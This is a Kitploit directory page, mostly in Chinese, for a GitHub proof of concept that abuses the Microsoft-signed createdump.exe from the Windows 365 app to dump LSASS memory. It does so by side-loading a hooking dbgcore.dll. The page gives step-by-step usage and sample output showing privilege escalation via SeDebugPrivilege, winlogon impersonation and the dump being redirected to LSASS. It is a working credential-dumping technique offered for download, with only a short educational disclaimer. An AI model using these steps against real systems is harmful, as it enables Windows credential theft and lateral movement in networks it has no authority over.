Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
createdump — Leverage WindowsApp createdump tool to obtain an lsass dump | Kitploit
工具/GitHubGitHub/rweijnen/createdump
Password AttacksImpersonation ToolsPost-ExploitationRed Teaming
GitHubrweijnen/createdump

createdump

Leverage WindowsApp createdump tool to obtain an lsass dump

查看仓库
151201年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Windows App Windows App LSASS 转储 - 概念验证

本项目演示如何借助 Windows App 中由 Microsoft 签名的可执行文件 createdump.exe 来转储 LSASS 进程，并利用自定义钩子实现对 LSASS 进程的访问。

root@kitploit:~
Get-AuthentiCodeSignature -FilePath (Join-Path -Path (Get-AppxPackage -Name *Windows365*).InstallLocation -ChildPath 'wnc\createdump.exe')

    Directory: C:\Program Files\WindowsApps\MicrosoftCorporationII.Windows365_2.0.285.0_x64__8wekyb3d8bbwe\wnc

SignerCertificate                         Status                                       StatusMessage                               Path
-----------------                         ------                                       -------------                               ----
C2048FB509F1C37A8C3E9EC6648118458AA01780  Valid                                        Signature verified.                         createdump.exe

使用方法

  1. 将 createdump 从 WindowsApp 文件夹复制到任意文件夹（copy C:\Program Files\WindowsApps\MicrosoftCorporationII.Windows365_2.0.285.0_x64__8wekyb3d8bbwe\wnc\createdump.exe .）
  2. 将本仓库中的 dbgcore.dll 放在同一文件夹中
  3. 执行 createdump（可选地提供参数）

注意：需要管理员权限。

输出应类似如下：

root@kitploit:~
c:\work\_createdump>createdump.exe
WindowsApp PoC by Remko Weijnen
(ab)uses createdump tool from "The WindowsApp" to create an LSASS dump

Successfully hooked OpenProcess
OpenProcess called
Attempting to enable SeDebugPrivilege...
SeDebugPrivilege successfully enabled!
Attempting to impersonate winlogon...
Successfully impersonated winlogon
[createdump] Writing minidump with heap for process 35828 to file C:\Users\me\AppData\Local\Temp\dump.35828.dmp
MiniDumpWriteDump called with:
  ProcessId: 35828
  hProcess: 0x0000000000000184
  hFile: 0x00000000000001BC
  DumpType: 0x41a25
ProcessId changed to LSASS (PID: 1512)
Loaded DbgHelp.dll from: C:\Windows\System32\DbgCore.dll
Calling original with:
  ProcessId: 1512
  hProcess: 0x0000000000000184
  hFile: 0x00000000000001BC
  DumpType: 0x41026
MiniDumpWriteDump result: Success
[createdump] Dump successfully written in 270ms
DLL unloading, hooks removed.

免责声明

本项目仅供教育目的使用。滥用此工具可能违反隐私和安全政策。

下载工具